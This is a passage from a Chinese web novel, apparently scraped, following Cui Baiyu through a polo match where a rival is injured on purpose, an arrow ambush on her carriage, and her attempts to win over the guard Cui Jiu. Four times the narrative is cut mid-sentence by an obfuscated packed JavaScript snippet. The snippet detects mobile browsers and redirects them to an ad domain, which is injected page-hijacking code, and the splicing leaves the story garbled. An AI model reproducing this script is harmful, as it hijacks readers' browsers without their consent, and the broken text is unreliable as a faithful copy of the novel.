远处首座上的祁老太太注意到她,捻了捻手里的佛珠。 身旁的老妇人跟在祁老太太身边多年,当即会意,低声回复:“老太太,她叫崔白玉,是崔学士的亲妹妹。” 短暂的沉默后,祁老太太收回目光,略一沉吟,道:“莫要让她生出是非。” “是。”老妇人领了吩咐离开。 东校场马厩。 一位女子站在柱子后面犹豫好久,见一行少年公子嬉笑打闹走过,立刻躲到了丫鬟的身后。 丫鬟知道她这是害羞了,又连忙把人推出来,笑道:“姑娘,咱们好不容易出来这一趟,你可一定要抓紧机会啊!” 女子一袭淡粉色织锦流云裙,披帛缠绕在手臂上,裙边系着一只悦耳的小铃铛,行走时发出清脆的声响,打扮的相当俏皮可爱。 丫鬟推着她往前走,女子心跳的厉害,捏着袖子挡住半张脸,“我……我还是不行,我们还是先回去吧。” “姑娘这都什么时候了?这次还不送出去,回去又得哭成泪人儿,”丫鬟将早就缝制好的荷包塞到她手中,“快去吧,小侯爷方才就已经注意到你了。” 女子羞得脸红到耳根上,听她这么说把心一横,深埋着头往前走,紧接着,猝不及防地撞到了人,“啊!对不起,对不起……” “小心。”方叙言虚扶了一把,往后退了一步。 女子心下一惊,连忙站稳身子,有一瞬间的恍惚,反应了好半天,双手捧着一个荷包,杏眸微亮,嗓音又甜又软,“公子能否收下我的荷包?” 话音刚落,身后传来一阵吵嚷声,方叙言回头看了一眼起哄的人,无奈笑了一下,“姑娘,我暂时不考虑成家的事。” 嗓音低沉而柔和,像是春天吹拂过的微风,让人感觉很舒服。 可这话是在拒绝她。 女子闻言面上更烫,眼眶也跟着红了,随后两行泪水泉水般涌了出来,让人一眼看了心里发软。 方叙言见人哭着跑开,默默叹了口气。 程铎迎面走过来,打趣道:“方小侯爷真是受欢迎,今天这都第几位了?” 方叙言看出他眼底的戏谑,淡声道:“不要拿这种开玩笑。” 程铎上前拦住他的肩膀,嬉笑道:“这算什么玩笑,小侯爷真就没遇到喜欢的?” 方叙言不愿讨论这个话题,推开他的手,“马球比赛马上就要开始了,准备入场吧。” 众人尽兴而散,纷纷去挑马,方叙言站在原地待了一会儿,听到身后的动静回头望了一眼。 正好就瞧见一位身着青衣的女子正踩在石头上翻雕栏。 崔白玉不曾想他会突然回头,尴尬地卡在雕栏上,磨了磨后槽牙。 “……需要帮忙吗?”这话说出口方叙言都觉得荒唐。 他还从未见过这般……行事作风不拘一格的姑娘。 崔白玉坐在雕栏上,稍微挪动了一下脚,默了半晌,终是抬手,“那就麻烦公子扶一下我了。” 这姑娘一颦一笑都像个小狐狸,方叙言忍俊不禁,一拢袍袖,握住了她的手腕,“姑娘为何要翻过去?” 崔白玉随口扯了一个谎,“我手帕让风吹过去了。” 方叙言一脸担心地看着她,道:“今天风大,我让人帮你去找吧。” “我不用,我都翻过来了。”崔白玉双脚落地,方叙言便松开了手,“......多谢公子了。” 方叙言捏了捏手指,“姑娘多小心。” 崔白玉对他印象不错,多看了几眼,点了一下头。 方叙言正欲说点什么,人已经急匆匆地跑开。 那人送过来的纸条写的是未时一刻林间镜湖一叙,崔白玉不清楚对方是谁自然不能贸然赴约,所以她提前了半个时辰,准备先观察一下对方再选择露面。 不过,对方用的宣纸细润光滑,坚洁如玉,别说寻常百姓,哪怕是朝廷二品大员也用不起,想来这种纸很可能是供宫中使用,再加上这墨迹气味馨似幽兰,应该是名震一时的幽兰墨。 一股骄奢富贵之气,显然对方的身份极为贵重,应该是太子无疑。 ……太子赵呈。 根据一张纸条分析出这么多信息,她都快被前几日埋头了解朝代信息的自己感动哭了。 崔白玉往前走,被八面来风灌满衣袖,打了个喷嚏,拢了拢领口。 来之前,她本来是不想跟太子扯上关系的,但没办法了,他现在纠缠过来,置之不理肯定是不行。 到底还是太子,若是想取她狗命轻而易举,所以她打算将苏有枝的藏身地告诉太子,以此来保住她这条小命。 原著里,崔白玉通过崔琅华的去处猜到了苏有枝的藏身地,但她并没有告诉太子。 崔白玉打算赌一把,太子知道苏有枝的藏身一定派人去寻,然后横插一脚,但她相信崔琅华有主角光环,苏有枝选择男主是必然。 坑一下就坑一下吧。 崔白玉走进山林,感觉背后总有人在跟着她,回头察看,空荡荡的草地连个人影都没有。 之后,大概过了一个多时辰。 侍卫悄无声息离开镜湖,回禀消息,“殿下,崔白玉还在那里等着。” 赵呈这会儿刚才从赛场下来,出了一身热汗,方才那几球打得不好,心里正烦躁,结果听到侍卫的消息顿时大笑出声,“那个蠢货还在啊!” 侍卫点头。 “崔白玉这蠢蛋,不会真以为孤会看上她了吧,这都多少回了,还想着爬孤的床,”赵呈冷声一笑,擦了擦额头上的细汗,抬手扔给身旁的小太监,“让她继续吹风,吹死才好。” 侍卫行礼告退,小太监麻溜地递上披风,吹嘘了一会赵呈的球技,又提起崔白玉,嘲笑了一番。 赵呈心情大好,见崔白玉从远处走过,就让人把她拦下了,“见到孤不知道行礼?” 崔白玉胸口起伏了几下,想着桃酥教过的动作,行了一个还算规矩的礼。 赵呈凑到面前看着她,得意地笑了笑,“崔二姑娘这是去哪吹了半天风?小脸吹的这么白。” 崔白玉知道自己被戏弄了,但也只能打碎了牙往肚子咽,“回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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桃酥递给她一杯热茶,“刚才祁老夫人让坐席的姑娘们也上场比试一番,这会儿大家都在后面换衣服,曹怡也参加了。” 被人凝视感觉还是没有消散,崔白玉点了一下头,看了看四周,脸上闪过一丝不悦。 倘若方才是赵呈的人在跟踪她,那现在又是谁? 桃酥轻轻摸了一下她的额头,震惊道:“姑娘你好像发热了。” “风吹的,没事。”崔白玉一点都不在意这件事,她微微挺直身子,看着赛场上的姑娘,目光很快被一个人吸引。 是曹怡,肌肤胜雪,容色极美,在人群中最惊艳的一个人,非常好认。 崔白玉微眯了一下眼睛,心里嘀咕了几句:“......确实是个大美人,要是落在太子手里就可惜了。” 她正想着如何坏事,谁知,刚偏过头,就看到了一个瘦削的身影。 隔着马球场,二十多匹骏马飞驰,崔九正一瞬不瞬地看着她,眼底有暗流涌动。 崔白玉不知自己哪里惹到他,眼神来了一个急刹车,好似没看见,若无其事地看着焦灼的赛场。 5. 玉佩 不得不承认,曹怡是个才貌双全的女子,她在马球场上的风姿吸引了在场所有人的目光。 底下的姑娘都在一脸兴奋的讨论这场赛事获得最佳的一定是马术精湛的曹怡。 崔白玉抿了一口茶水,唇角挂着浅淡笑意,阳光透过云层,在她的面容复上一层柔和的微光。 桃酥还在想她发热的事,关切道:“姑娘,咱们要不和老夫人说一声,先回去吧。” “不必,”崔白玉确实头晕的厉害,闭上眼睛,缓了一会儿,“再等一下。” 人都烧得白里透红了,桃酥一脸不解,问道:“姑娘还在等什么?” “一场意外。”崔白玉的眼睛转了一下,目光落在首座上的祁老太太。 她对马术有所了解。 说实话,曹怡从上场到现在,表现的一点都不出彩,她甚至还会故意避开人群,放弃进球的机会。 桃酥对比赛并不关心,还在琢磨着崔白玉所说的意外,眼神不经意间瞥了一眼她的腰间,震惊道:“姑娘,你的玉佩呢?” 崔白玉低头一看,咬住了嘴唇,发现今日佩戴的那枚青莲云形玉佩不见了。 这可是女子的贴身之物,若是被有心人利用可就麻烦了,桃酥顿时有些急了,“姑娘能想起丢在哪里吗?” “应该是翻雕栏是掉了,”崔白玉倒吸一口凉气,用很轻的声音说,“桃酥,你去北边的雕栏找找,要是找不到就算了。” 桃酥应声离开。 崔白玉注意到前面模糊不清的讨论声,侧耳听了一会儿。 “曹姑娘也太厉害了,一连进了两球,我看今日的最佳赛手定然是曹姑娘了!” “确实,她们打得这么激烈,弄得我都想学骑马了。不过,今日风这么大,没想到祁老夫人还坐在那里。” “这是肯定的啊,祁老夫人把曹姑娘当成亲孙女一样疼,肯定要看完比赛啊!” 崔白玉坐直了身子,继续看马球赛。 适才,她从镜湖回来的时候路过马厩,看见了祁老太太身边的人鬼鬼祟祟地靠近曹怡骑得那匹白马。 想来是做了手脚,可她方才听人说,马匹是大家随机挑选,受害人并不固定,应该是有人想要在马场上制造意外。 可看了一圈比赛,她竟然发现曹怡早就知道那匹马有问题,所以从上场她都格外小心地控制马匹的速度。 约莫过了两刻钟,桃酥赶回来,朝她摇了摇头。 她并未找到玉佩。 崔白玉眸色微深,实在坚持不住了,手撑着桌子坐起身。 下一刻,马场上发生意外。 曹怡从马背上跌了下来。 在一阵吵嚷声中,崔白玉愣了一下,意识缓慢清醒,看着冲向马场的人,险些被后面的人撞到,还是桃酥及时扶住她,“一个个的都不长眼啊!” 崔白玉站稳身子,低着头思索了一下,弯腰拿起团扇离开坐席,不曾看向首座上的人,特意避了开去。 祁老夫人抬眼打量了一下,用碗盖慢慢把浮着的茶叶滤到一边,抿了一口热茶。 老妇人额上已见汗,上前一步,递过去一块黑丝线绣的五福捧寿花样的手帕,压低声音说:“咱们的计划被她察觉了。” 祁老夫人拿起帕子擦了擦手,“她不愿趟这摊浑水,不必理会。” 这么大的事不必理会?老妇人琢磨了一会儿,还是没猜透她的意思,问道:“老夫人打算如何?” 祁老夫人轻笑一声,缓缓站起身,“老身活了一把岁数,难道还治不了一个小丫头?” 姜终究是老的辣。 听这话里的意思,祁老夫人对崔白玉是有几分喜欢的,老妇人想了想,将手递过去,不由地提醒了一句,“.......这位姑娘在京城的名声可不好听。” 祁老夫人由人搀扶着下台阶,笑道:“京城的流言蜚语太多了,没有人能在这里不染尘埃。此一时也,彼一时也。” 不知何时,崔九出现在她身后。 桃酥回头看他,心生嫌弃,“你跟来做什么?” 一阵冷风吹过,崔白玉停下脚步,团扇轻摇,也看了过去。 崔九站在她面前,沉默半晌,正欲开口,忽然就被打断。 方叙言信步而来,眉眼含着淡淡的笑意,轻轻唤了一声,“崔姑娘。” 举止间透出丝丝儒雅,宛如谪仙。 崔白玉在京城声名狼藉,知道她名字的人,不是心生嫌恶,就是避之不及,今日走这一遭,全是白眼和非议。 难得有个笑脸,崔白玉心里生出几分愉悦,“你知道我的名字?” 坦白讲,方叙言是她喜欢的类型。 “知道,方才打听了一下,”方叙言伸出一只手,指尖绕着红绳,“姑娘方才掉了东西,本来是想叫住你的,但你跑的太快了。” 崔白玉笑了一下,伸手接过枚青莲云形玉佩,“原来被公子捡到了,多谢了。” “举手之劳,”方叙言顿了顿,“姑娘下次还是不要翻雕栏,很容易受伤的。” 桃酥脸上震惊的无以复加,嘴角抽搐了一下。 如果她没记错的话,今日负责校场巡查的就是方叙言,她家姑娘居然敢当着他的面翻雕栏....... 这也是没谁了。 崔白玉心下一动,快速地摇了几下团扇,“此事还是不要再了提,卡在雕栏上也是很丢人的。” 初印象就这么差,以后还怎么聊。 方叙言听了觉得着实有趣,抬起下巴笑道:“那敢问姑娘真的是去寻手帕?” 崔白玉偏头避开他的目光,一脸云淡风轻道:“看风景,听说镜湖那里风景不错,看了一会儿。” 崔九对上她的目光,只是直勾勾地盯着她。 方叙言干咳一声,道:“既然如此,我还有公务在身,不耽误姑娘时间了。” 崔白玉转过头,眼里含了几分期待,“敢问小公子贵姓?” 小公子? 方叙言已经弱冠,大了她不止五岁,担个兄长都不为过,不过他也没有纠正,反而还顺着她,“在下姓方,现任天策卫都指挥使。” 崔白玉嫣然一笑,点头表示记下了。 方叙言看着那张明媚的笑脸,心头好像被一根细微的小刺扎了一下,他说不清心里是什么感觉,连忙仓皇地转开了目光。 很快,三人走到马车, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142952|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桃酥还在回味崔白玉和小侯爷之间的氛围,不由得痴笑出声。 崔白玉强撑着眼皮,看着眼前一个傻笑的,一个死气沉沉的,神情无比复杂。 ......好想把这两个夯货都扔在这里。 桃酥反应过来,崔白玉已经进了马车不知多久,赶紧提着裙子上了马车。 崔白玉掀开帘子,朝着崔九说道:“你也上来。” 好人卡还是能发一张就发一张。 桃酥一门心思都在方叙言身上,看见崔九坐上马车也没理会,“姑娘,你觉得小侯爷如何?” 崔白玉靠在软枕上,恢复了慵懒的模样,像只猫一样伸展身体,“想问什么?” 方叙言这个名字并未出现在原著中,所以这个人崔白玉对他一点都不了解。 “就是,就是,姑娘对他有没有感觉?”桃酥说完话,自己的脸倒是先红了起来。 崔白玉把玩着手里的玉佩,将红绳在手一圈又一圈的缠绕,“尚可。” 保命要紧,恋爱是其次的。 桃酥遗憾地哦了一声,“姑娘,你可不知道,京城想嫁给小侯爷的女子,真是数不胜数,就说前阵子,上门说亲的人将侯府的门槛都踏平了。” 崔白玉问道:“小侯爷没有心仪的?” “没有,小侯爷到现在还没定过亲呢!”桃酥一拍大腿,掰着手指和她数了一下,“长戟高门,家境煊赫,才貌双全,品性极佳,也没有妾室,对,正则侯严禁家族男子纳妾,无论是谁,皆不可违背家规,方小侯爷绝对是世间不可多得的好男人!” 崔白玉眸子微亮,“不纳妾,有这等觉悟?” 桃酥不假思索道:“当然了,不然怎么会踏破门槛,姑娘们又不傻。” 好的谁不稀罕?谁都想为自己的将来争取一下。 崔白玉侧目看了那边一眼,一阵眩晕,力气全无,又躺了回去,她抬手示意桃酥不要说话,换了副面孔般,轻声问崔九,“你有话和我说?” 跟踪的事自然不会和他计较,毕竟她惹不起这厮。 崔九的眸子是琥珀色,冰冷和阴戾深藏其中。 沉默半晌,就是不说话。 崔白玉感觉一头两个大,浑身发麻,斟酌了许久,柔声道:“你是想说曹怡的事?” 崔九没有回答,不置可否。 崔白玉心里有个小人,此时早已拿着针戳了千百遍。 她深吸一口气,平复着情绪,“曹怡和祁家串通好,想在马场发生意外,然后借此退了和太子的婚事?” 桃酥目瞪口呆,轻轻拍了一下自己的脸颊,“太子的婚事岂是说退就就退的?” 曹怡的父亲曹云锦任职大理寺少卿,这样的身份在京城并不算高。 她得罪不起太子,但又不想委曲求全,所以对自己下了狠手。 赵呈担心的事还是发生了。 “身子残疾就可以,”崔白玉又问道,“你怕我搅乱她们的计划?” 崔九依旧没有回答,只是稍微动了一下身子,压住马车上的帘子,防止有风吹进来。 崔白玉注意到这一动作,微眯了一下眼,觉得实在没话说了,索性闭上眼休息。 6. 刺杀 天色渐渐暗了下来。 不知过去了多久,崔白玉迷迷糊糊的睡醒,长发有些凌乱的披在肩上,哑声道:“还有多久才到?” 她整个人看起来十分憔悴,似乎已经没有力气说话了。 “再有一刻钟就到了,”桃酥帮她起身,怜惜地看着她,忍不住唠叨了几句,“姑娘,你这烧得太厉害了,要是一直不退热会烙下毛病的,这到底是怎么回事,好端端的去那种地方赏什么景?还穿的这么单薄。” 崔白玉哑巴吃黄连有苦说不出,垂下眼睛,叹了口气,无奈道:“崔九呢?” “他在外面呢,刚才马车停了一会儿,他下去给您抓药了。”桃酥指了指角落的药材,“也是难得有心一回。” 崔白玉反应变得很迟钝,愣了片刻,看着拿五包药材,舔了舔下唇。 居然给她买药了。 这算不算是两人的关系有了进展? 崔白玉自己忖量了一下,默默点头,过了一会儿,还是不放心,抬手掀开帘子确认一下是不是回崔府的路。 然而就在这一瞬间,箭矢射穿帘布,从崔白玉的脸颊擦过,划出一道红痕。 桃酥尖叫出声,崔白玉还未反应过来,就被人压了下去。 崔九按着她的脖颈,手好似被烫了一下,稍微失了些力道,崔白玉疼得嘶了一声,抬手把桃酥也拽了下来。 箭矢纷纷射来,马匹受了惊吓,已然失控,猛然加快了速度。 一阵混乱中,马车颠簸的极其厉害,崔白玉根本抓不到东西,没等她调整好姿势,身子忽然失重,撞到了一个结实的胸膛。 崔九一只手禁锢着崔白玉的腰身,蓦然凑到她的颈边,推了桃酥一把,防止她也撞过来。 两人贴得极近,崔白玉呼吸乱得毫无规律,心脏砰砰直跳,感觉马上就要从嗓子眼跳出来了。 她现在是以一种极其亲密的姿态贴在他怀里,几乎和他小腹相贴。 这跟一脚踏入鬼门关有什么区别? 崔白玉下意识紧了紧手指,看着他绷起的手臂肌肉线条极其流畅,筋骨分明,力量感十足。 一拳打死她肯定不是问题。 外面的人没敢冲过来,只是躲在暗处放箭,崔九默默数着外面的人数,注意到她的视线,低下头,没什么情绪地看着她。 面对这种突发状况,崔白玉鼻尖和额头都出了汗,强迫自己冷静下来,可对上他的视线有种猎物被盯上的心悸,连忙错开了视线。 崔九会保护她,那定然是死不了的,所以崔白玉忽然有一个不合时宜的想法冒了出来,当然,这也可能是恶向胆边生。 此时此刻,在狭窄的空间里,正是男女之间一个增进感情的绝佳机会。 电视剧都是这么拍的,女主深陷困境的时候,男主挺身而出,这段英雄救美,一定能让两人摩擦出爱的火花。 崔白玉心思活络,想着要不要装成意外亲他一下,或者增加些身体接触。 可原著里,崔九性格孤僻怪异,而且十分警惕,最讨厌的就是和别人有身体接触,她要是这么做,岂非更让他厌恶? 崔九从靴子抽出一把匕首,抬手正要关上车窗。 崔白玉把心一横,一不做二不休,手臂偷偷从劲瘦的腰身擦过,攀住少年宽阔的肩膀。 心里莫名多了几分负罪感。 崔九冷冷地注视着她,目光不似平时冷静,下一刻,紧紧抓着木板瑟瑟发抖的桃酥,还没反应过来就被他踹下马车摔进草垛里。 车夫可能死了也可能跑了,马一直处于受惊的状态,再这么耗下去可能就车毁人亡了。 崔白玉见状,意识到事态不妙,紧紧闭上眼,也做好了被一脚踹下去的准备。 不曾想,一阵天旋地转,她竟然是双脚踩到了地面。 崔九单手将人抱下马车,迅速躲进一条巷子,冷声道:“松手。” 两个人都呼吸不稳,崔白玉脑子一片浆糊,指关节因为用力而变得惨白,还出了一身冷汗,衣服被汗水紧紧地黏在皮肤上。 她完全没听出崔九对她的厌弃,只是下意识的松开手。 然而种种情绪混在一起,胃里一阵恶心。随后一个跨步冲到角落,俯身对着地面开始干呕。 崔九定定地看了她一眼,旋即转身离开。 过了半晌,空气重归寂静,崔白玉从身上摸出一块帕子在脸上胡乱的擦了几下,靠在冰冷的墙壁上,平复着情绪。 很显然,这场刺杀是冲着她来。 她应该又得罪了什么人…… 崔白玉一脸苍白的扶着墙,缓慢地走出暗巷,抬眸与他对视。 她想开口说些什么,但话到了嘴边,却又不知道应该说什么,最终只是被那满地的血晃了心神。 崔九从尸体身上翻出一张悬赏令,看了一眼便扔给她。 浓烈的血腥味弥漫开来,崔白玉抬手接过,将那张沾上血的纸用帕子包上收了起来,“你伤口裂开了。” 她没敢细数地上的人,只是大概瞥了一眼便知道有七八个。 虽说有过设想,但亲身经历还是觉得难以接受。 眼前的少年杀这些人没有任何犹豫。 崔九双眼牢牢注视着她,注意到她手腕和脖颈上都有淤青,眉心微微一皱,很用力地控制着情绪和喘息。 不知为何,想杀人的冲动愈发难以抑制。 桃酥费尽力气从草垛里爬出来后已然变成了鸡窝头。崔白玉死里逃生,看着桃酥走来,这才缓缓地长舒一口气,朝着崔九说:“刚才的事,谢谢你。” 崔九一言不发,大步走到她面前,居高临下地看着她,随后不知从哪里拿出一条帕子,擦掉了脸颊上的血迹。 她身上的伤格外的碍眼,惹得他心情烦躁。 因为骨架长得又高又宽,将她整个人都罩在了阴影里,利落的下颌线崩得极紧,仿佛是一头伺机而动的狼,十分有压迫感,崔白玉内心泛起一丝古怪的感觉,下意识地略略放轻呼吸,“……我们回家吧。” 视线在空中交汇片刻,崔九听得恍惚,良久移了半步,挡在她身前,迟疑了一下,问道:“你说什么?” 崔白玉一双漂亮的桃花眼,蕴着一点清澈的浮光,只是淡淡‘嗯’了一声,便不再开口。 在这一刻,她的鱼咬上钩了。 回家这两个字对于他而言实在是太陌生了,一个从记事起就被抛弃的人,此后一直独来独往,没有体会过被人珍惜的感觉,怕是对家都没有概念。 或许她可以试着成为一个贴心的小棉袄。 等三人回去已经过了子时,崔白玉意识渐渐模糊,走路都是轻飘飘的。 虽然药是捡回来了,但桃酥还是放心不下,“要不奴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142953|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婢出去请个郎中瞧瞧?” 人都能混成这个鬼样子了,崔白玉哪里还敢请郎中,“我喝热水就行,而且......我称呼你崔九可以吗?” 嗓音很沙哑,但也很有诚意。 崔九没有说话,只有胸膛剧烈起伏了几下。 崔白玉当他是默认了,勉强定了定神,轻声开口说道:“我帮你重新包扎一下伤口吧。” “不必。”崔九眼神黯淡了下来。 好心当成驴肝肺,亏姑娘对他这般疼宠,桃酥眨巴着眼睛犹豫了一下,不满意道:“姑娘,你还生着病呢,得先照顾好自己才行!” “伤口记得用温水清洗,免得发炎溃烂,”崔白玉叮嘱完一头栽到床上,翻了个身,朝着桃酥温柔一笑,“时候不早了,你也下去休息吧。” 桃酥跟着奔波了一天,身体确实撑不住了,她斜睨了一眼崔九,行礼告退,回屋休息时,不忘叮嘱几个丫鬟把药煎了。 崔九找来药膏,站在门口轻轻敲了几下门板。 过了许久,门内迟迟没有动静,只有平缓的呼吸声,他的嗅觉和听力异于常人,稍微判断一下,就知道榻上的人已经睡过去。 第二日中午,风和日丽。 崔白玉昨天夜服了药,今天早上烧就已经完全退下了,此时她还在睡觉,桃酥想起郎中的嘱咐,没办法,把床幔挂了起来,“姑娘,你可以先吃饱了再睡。” 以防病情反复,这药还是得再喝一副。 桃酥开始在她耳边碎碎念,崔白玉充耳不闻,在床上赖了一会儿才爬起来,“桃酥,你让人准备些热水,我得先沐浴。” “奴婢早就料到了,热水已经准备好,”桃酥笑了笑,“姑娘现在只需要吃了粥,再把药喝了。” 崔白玉妥协道:“行吧。” 苦是苦了点,但管用。 之后大概过了一个时辰,崔白玉把桃酥安排的事情都做完,忽然想起一件重要的事,“桃酥,曹姑娘那边有消息了吗?” 桃酥听言,放下手里的活计,长长叹了一口气,惋惜道:“昨个意外把曹姑娘的脸弄伤了,听说额头上划了一道口子,现在京城里的人都在讨论这事,说京城第一美人的称号怕是要换人了。” “美人在骨不在皮,”崔白玉心里有些感慨,伏在窗口看到崔九进屋,很快收回视线,“桃酥,你帮我打听一下曹姑娘的消息,顺便在看看太子那边有没有动作,尽力而为。” 桃酥点了点头,起身离开屋子。 崔白玉微垂下眼,决定试着跟他沟通一下,“你觉得太子会退了这门婚事吗?” 崔九一言不发,将手里的小玉瓶放在她面前。 崔白玉起身用手托着下巴,眼眸清亮,“你喜欢什么样的女子?除了苏有枝,还有其他的女孩子吗,我可以试着帮你追一下。” 崔九微微抬眼,对上她的眼睛,喉咙逐渐开始干涩,过了半晌,道:“没有。” 怎么会没有,你可是痴情男配啊! 口是心非,懂得都懂,崔白玉拨弄着手里的玉佩,想再开导一下他,“可苏有枝已经嫁给我兄长了,你也不能老惦记着人家啊,人就得放得下,没准就柳暗花明了呢!” 崔九再次纠正道:“我不喜欢苏有枝。” 崔白玉不动声色地叹了一口气,斟酌着用词,哪知再抬起头,人已经不见了。 7. 关怀 一个人怎么能如此零顽不灵,完全不给她沟通的机会。 崔白玉叹了口气,想起昨晚的悬赏令,铺到桌面看了一下。 一张快被揉烂的破纸,上面沾了污血,即使过了一夜还带着令人无法忍受的酸臭味。 上面依稀能看到她的名字。 崔白玉额角跳了跳,将悬赏令扔了去,洗完手后又擦了一下桌面。 这件事没必要追究下去,原身得罪了不少人,想要报复她也是情理之中,崔白玉洗不清自己,也拦不住他们。 但是她得活下去。 一想到这,她又回到书桌前,从抽屉里拿出一本册子,翻开几页,上面写了密密麻麻的英文字母,这是原著的大概剧情,不过已经没什么用了。 崔白玉用手指敲着桌面,直接翻到最后一页,将逃跑的计划默默从纸上划去。 不开玩笑,如果再遇到这种刺杀,没有崔九在身边,她只有死路一条。 她想了想,合上册子,起身去崔九的院子送些糕点。 听桃酥说,这糕点是京城最有名的陈记十二酥。崔白玉没舍得吃,决定借花献佛,用来讨好未来的靠山。 崔九至少是个男配,应该能再危机关头帮她拖延一下。 一路上,丫鬟们视线偷偷跟随,看到崔白玉进了崔九院子顿时睁大眼睛。 上次孤男寡女共处一室,已经有人说闲话了,现在又毫不忌讳主动找人家,这崔二姑娘可真是什么荒唐事都干。 众人悄声议论了几句,见崔白玉看过来立刻散开了。 崔九的屋子在库房旁边,位置极偏,唯一的窗户还被一棵繁盛的梧桐树挡住,阳光完全照不进去。 一个阴暗破旧的小屋,周围比别处安静许多,崔白玉顿了一下,轻轻敲了几下门。 没有回应。 难道不在房间? 崔白玉抬起手,正准备再敲两下,门忽然开了。 崔九站在门口,不动声色地看她,和往日一样冷淡。 崔白玉唔了一声,屏住呼吸,轻声道:“我来给你送一些糕点。” 崔九道:“不用。” “这个糕点很好吃,是我最喜欢的桂花味……”崔白玉没由来地一阵心虚,见他要关门,话题立刻转了一个弯,“我是想问你悬赏令的事,你能帮我调查背后雇佣他们的人吗?” 崔九一脸冷漠地注视崔白玉双眸良久,目光令人捉摸不定,还是要关门。 崔白玉连忙上前一步,抬手按住了门板,“其实我想找你问曹姑娘的事。” 两人力量悬殊,她本是不抱希望的,但这门确实停下了。 崔九看到她手腕处的淤青,眸子里带上审视的意味,“没有上药。” 崔白玉不自觉地咽了咽唾沫,问道:“什么药?” 她知道崔九口中的药,之所以没有涂就是为了他主动开口。 当然,主动帮她上药就更好了。 崔九道:“书桌上。” 崔白玉微微仰起头,好似记了起来,“我不知道那个是药,你什么都没说,我以为那个是熏香……” 熏香?这不过是她的小把戏,崔九一眼就看穿了她的谎言,无情地把门关上了。 崔白玉后退一步,缓缓地长出一口气,“我就是想过来跟你说会儿话,没有别的目的,真的。” 院里一片寂静。 崔白玉不死心,语气里带着几分可怜,“你真的不开门吗?那我可就一直在这里等了,等你出来为止。” “你不能陪我说说话吗,还是我今日过来打扰到你了?” “你就这么嫌弃我?” 一直没有答话,倒真是个倔脾气。 茶味四溢不管用,崔白玉准备卖惨。 就在这时,院里忽然来了一位小厮,“二姑娘,方小侯爷来了,他在正厅等着呢,说是找你有要事要问。” “要事?”崔白玉一头雾水,想了想,把食盒放在那门口,抬脚去了正厅。 过了一会儿,崔白玉停下脚步,进门前特意拿出一把小铜镜,确认了一下发髻上的步摇有没有乱。 进屋后,轻声开口:“方大人,您找我有事?” 这次倒是称呼对了,想来是已经打听了他的身份,方叙言面如冠玉,一身黑衣长袍,袖子镌刻金色条纹,足见其家世显赫。 他看着崔白玉走过来,淡淡地笑了一下,“我今日来是为了调查昨晚的事。” “昨晚……”崔白玉的腹稿没打好,只顺着他意思了一下,“昨晚怎么了?” 方叙言视线掠过她的脸颊和手腕,心中的异样又重了几分,“有人行刺你?” “这个事一言难尽,方大人坐下说,”崔白玉转身吩咐下人去沏茶,深深吸了一口气,“昨夜发了热,连带着记性也不好了。” 方叙言心头软了软,“那些行刺你的人可还有印象?” “他们人挺多的,我当时躲在马车里,太害怕了没敢看,”崔白玉想了想,“他们都蒙着面,天又很黑,我没看到有用的线索。” “庆萍街一直都是天策卫负责巡逻,昨夜没能即使赶到我们也是有责任,”方叙言回想着今日早上看到的现场,“他们放完箭就跑了?” 崔白玉点了一下头,“我的侍卫跟他们交手了,他找出了一张悬赏令,但情况具体如何,我还未来得及问,这个会追究责任吗?” “被暗杀的是你,自然不会追究你的责任。”方叙言停顿了一下,“能否把你的侍卫叫出来问话?还有悬赏令能不能找出来?” 崔白玉心下松了口气,让人赶紧去办这两件事。 片刻之后,方叙言接过那张悬赏令,沉声道:“这些人是鬼市的杀手,崔姑娘最近出门一定要多注意安全。” 崔白玉垂眸深深地看了方叙言一眼,“他们还会派人来?” 说话间,崔九进了屋子,方叙言感觉他的目光分外有压迫性,稍微顿了一下,眉头微蹙,“这倒不是,鬼市有个不成文的规定,行刺失败后一般都不会再执行这个任务。” 崔白玉虚心请教:“为何?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142954|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 